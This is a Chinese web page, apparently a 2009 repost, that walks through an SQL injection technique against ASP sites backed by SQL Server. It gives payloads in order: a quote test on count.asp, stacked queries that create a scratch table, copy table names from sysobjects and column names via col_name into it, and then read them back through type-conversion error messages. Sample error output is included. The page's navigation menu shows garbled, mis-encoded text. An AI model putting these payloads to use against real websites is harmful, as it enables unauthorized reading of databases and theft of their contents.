网站首页  注册会员  本站免费电影 留言板  繁體中文

 

您现在的位置: 陈鹏个人网站 >> 电脑应用 >> 网络应用 >> 网络安全 >> 正文
 

|
闂備焦妞垮鈧紒鎻掝煼瀹曟粓鎼归锝呭妳闂佸搫鍟崐褰掑汲韫囨拹娑㈡晲閸℃瑥鈷岄梺闈涙4閹凤拷
|
缂備胶铏庨崣搴ㄥ礂濞戞ǚ鏋庨柕蹇娾偓宕囩獮闂佸疇妗ㄩ懗鍫曞垂閿燂拷
|
濠电偛鐡ㄧ猾鍌炲礃閳哄倸鍓梺璇茬凹缁茬粯绔熼崼銉ョ獥闁跨噦鎷�
|
闂佸搫顦遍崕鎰板垂椤栨埃鏋庨柕蹇婃噰閸嬫挸鈽夊畷鍥╂殺闁诲孩鐔幏锟�
|
缂傚倸鍊搁崯顖炲垂閸︻厼鍨濋柤绋跨仛閸庣喖鏌¢崘銊モ偓褰掑汲閿燂拷
|
IT闂備礁鎼崐鐑藉础閸愬樊娓婚柨鐕傛嫹
|
闂佸湱鍘ч悺銊ヮ潖婵犳艾鏋侀柕鍫濐槸缁狀噣鏌嶈閸撴瑩顢欒箛娑欐櫢闁跨噦鎷�
|
闂備焦妞垮鈧紒鎻掝煼瀹曟粌鐣烽崶鈺冿紲缂傚倸鐗忔慨鐢稿矗閿燂拷
|
闂佽崵鍠愰悷銉ノ涘┑瀣ㄢ偓鍌炲醇閺囩偞鐎┑鐐叉閸ㄧ喖寮婚敓锟�
|
   
专 题 栏 目
 婵犵數鍋涙径鍥礈濠靛棴鑰垮ù锝呮贡椤╃兘鎮规担鍝ワ紞缂佸鐏濋埥澶愬箻鐎涙ê纾冲銈忕导缁瑥顕i崐鐔虹杸闁哄洨鍠撻悰锟�
相 关 文 章

提升15% MySQL 5.1正式版
微软确认年底发布SQL 20
QQ会员优先体验QQLive 6
MySQL管理工具SQLyog最新
SQL Server 2008将“纸”
全新体验  QQLive 5.0.3
新版QQLive 5开始小范围
QQ直播网页改版 QQLive3
过滤不良信息 QQLive3.3
用QQLeU轻松扩大你的QQ交

 
SQL脚本注入的不常见方法概括           
SQL脚本注入的不常见方法概括
作者:陈鹏 文章来源:eNet 点击数:125 更新时间:2009-9-11 23:28:25
 




 

大家在是否碰到过这样的站点:

  全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。

  我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。

  攻击方法:

  查看源文件/看里面是否有通过JS来调用的页面。

  如调用来更新文章的浏览次数。

  我们就可以这样来试一下可否注入:

  http://服务器域名/count.asp?id=1552’

  看一下是否出错。如出错说明有注入漏洞。然后正常攻击。

  在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

  post.htm内容:主要是方便输入。

  对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

  对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

  然后插入一条记录:id=1552;insert into aaa values(’test’);--

  再之后枚举出他的数据表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--

  这是将第一个表名更新到aaa的字段处。


热门推荐 瑞星卡卡6.0震撼上市,绝杀木马 局域网基础知识无线网络故障大集合

  id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:

  Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’

  将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。

  /search.asp,行21

  其中vote就是表名:

  也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。

  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--

  然后id=1552 and exists(select * from aaa where aaa>5)

  读出第二个表,^^^^^^一个个的读出,直到没有为止。

  读字段是这样:

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--

  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名

  ……类推

热门推荐 瑞星卡卡6.0震撼上市,绝杀木马 局域网基础知识无线网络故障大集合


【责任编辑 王凡】

文章录入:陈鹏    责任编辑:陈鹏 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     
     
     
     
     

    Copyright © 2007 - 2009 chenpeng123.com All Rights Reserved
    本站所有文章,软件等均来自网络收集,不代表本站观点,仅供学习和研究使用。如有侵犯您的版权,请联系我们,本站将立即删除。
    鲁ICP备07014697号
    你是本站第 位访客
    51La